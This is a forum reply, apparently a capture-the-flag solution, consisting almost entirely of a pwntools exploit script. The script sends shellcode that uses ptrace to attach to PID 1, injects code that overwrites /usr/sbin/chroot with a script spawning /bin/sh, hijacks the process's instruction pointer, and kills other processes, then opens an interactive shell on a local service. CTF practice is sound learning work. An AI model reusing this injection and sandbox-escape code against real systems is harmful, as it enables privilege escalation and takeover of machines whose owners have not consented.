能力值:
( LV9,RANK:250 )
3 楼
""" PWN by XiaozaYa """ from pwn import * context.terminal = ['tmux', 'splitw', '-h'] context(arch = 'amd64', os = 'linux') #context(arch = 'i386', os = 'linux') #context.log_level = 'debug' #io = process("./pwn") #elf = ELF("./power") #libc = elf.libc def debug(): gdb.attach(io) pause() sd = lambda s : io.send(s) sda = lambda s, n : io.sendafter(s, n) sl = lambda s : io.sendline(s) sla = lambda s, n : io.sendlineafter(s, n) rc = lambda n : io.recv(n) rl = lambda : io.recvline() rut = lambda s : io.recvuntil(s, drop=True) ruf = lambda s : io.recvuntil(s, drop=False) addr4 = lambda n : u32(io.recv(n, timeout=1).ljust(4, b'\x00')) addr8 = lambda n : u64(io.recv(n, timeout=1).ljust(8, b'\x00')) addr32 = lambda s : u32(io.recvuntil(s, drop=True, timeout=1).ljust(4, b'\x00')) addr64 = lambda s : u64(io.recvuntil(s, drop=True, timeout=1).ljust(8, b'\x00')) byte = lambda n : str(n).encode() info = lambda s, n : print("\033[31m["+s+" -> "+str(hex(n))+"]\033[0m") sh = lambda : io.interactive() """ gef> p &(((struct _IO_FILE_plus*)0)->file._wide_data) $3 = (struct _IO_wide_data **) 0xa0 gef> p &(((struct _IO_FILE_plus*)0)->vtable) $4 = (const struct _IO_jump_t **) 0xd8 """ menu = b'' inject_shellcode = shellcraft.open("/usr/sbin/chroot", 513) inject_shellcode += shellcraft.write(3, "#!/bin/sh\n/bin/sh\n", 18) inject_shellcode += shellcraft.close(3) inject_shellcode += ''' loop: nop nop jmp loop ''' #print(inject_shellcode) inject_shellcode = asm(inject_shellcode) sc_len = len(inject_shellcode) info("inject_shellcode length", sc_len) sc_len = sc_len // 8 * 8 + (1 if sc_len%8 else 0)*8 info("padding inject_shellcode length", sc_len) inject_shellcode = inject_shellcode.ljust(sc_len, b'\x90') sc = [] for i in range(0, sc_len, 8): code = inject_shellcode[i:i+8] num = 0 for j in range(8): num |= code[j] << (j*8) sc.append(num) # print(hex(num)) #print(inject_shellcode) PTRACE_ATTACH = 16 PTRACE_GETREGS = 12 PTRACE_SETREGS = 13 PTRACE_PEEKDATA = 2 PTRACE_POKEDATA = 5 PTRACE_CONT = 7 PTRACE_KILL = 8 PTRACE_DETACH = 17 rip_offset = 128 rcx_offset = 88 regs_offset = 0x200 target_pid = 1 shellcode = shellcraft.ptrace(PTRACE_ATTACH, target_pid, 0, 0) shellcode += shellcraft.wait4(target_pid, 0, 0, 0) shellcode += f''' lea r11, [rsp+{regs_offset}] ''' shellcode += shellcraft.ptrace(PTRACE_GETREGS, target_pid, 0, "r11") #sc = [0xdeadbeef] * (sc_len//8) for i in range(sc_len//8): shellcode += f''' lea r11, [rsp+{regs_offset}] add r11, {rcx_offset} mov r11, qword ptr [r11] add r11, {i*8} mov rax, {sc[i]} /* mov qword ptr [rsp], rax */ ''' shellcode += shellcraft.ptrace(PTRACE_POKEDATA, target_pid, "r11", "rax") shellcode += f''' lea r11, [rsp+{regs_offset}] add r11, {rcx_offset} mov rax, qword ptr [r11] lea r11, [rsp+{regs_offset}] mov qword ptr [r11+{rip_offset}], rax lea r11, [rsp+{regs_offset}] ''' shellcode += shellcraft.ptrace(PTRACE_SETREGS, target_pid, 0, "r11") shellcode += shellcraft.ptrace(PTRACE_CONT, target_pid, 0, 0) shellcode += shellcraft.ptrace(PTRACE_DETACH, target_pid, 0, 0) sleep_pid0 = 14 sleep_pid1 = 15 sleep_pid2 = 16 #shellcode = '' shellcode += shellcraft.ptrace(PTRACE_ATTACH, sleep_pid0, 0, 0) shellcode += ''' cmp rax, 0 jne SLEEP_PID1 ''' shellcode += shellcraft.wait4(sleep_pid0, 0, 0, 0) shellcode += shellcraft.ptrace(PTRACE_KILL, sleep_pid0, 0, 0) shellcode += shellcraft.ptrace(PTRACE_DETACH, sleep_pid0, 0, 0) shellcode += ''' jmp KILL_END SLEEP_PID1: ''' shellcode += shellcraft.ptrace(PTRACE_ATTACH, sleep_pid1, 0, 0) shellcode += ''' cmp rax, 0 jne SLEEP_PID2 ''' shellcode += shellcraft.wait4(sleep_pid1, 0, 0, 0) shellcode += shellcraft.ptrace(PTRACE_KILL, sleep_pid1, 0, 0) shellcode += shellcraft.ptrace(PTRACE_DETACH, sleep_pid1, 0, 0) shellcode += ''' jmp KILL_END SLEEP_PID2: ''' shellcode += shellcraft.ptrace(PTRACE_ATTACH, sleep_pid2, 0, 0) shellcode += shellcraft.wait4(sleep_pid2, 0, 0, 0) shellcode += shellcraft.ptrace(PTRACE_KILL, sleep_pid2, 0, 0) shellcode += shellcraft.ptrace(PTRACE_DETACH, sleep_pid2, 0, 0) shellcode += ''' KILL_END: ''' shellcode += shellcraft.exit(0) #print(shellcode) #print(asm(shellcode)) shellcode = asm(shellcode) info("shellcode length", len(shellcode)) io = remote("127.0.0.1", 9999) sl(shellcode) sh()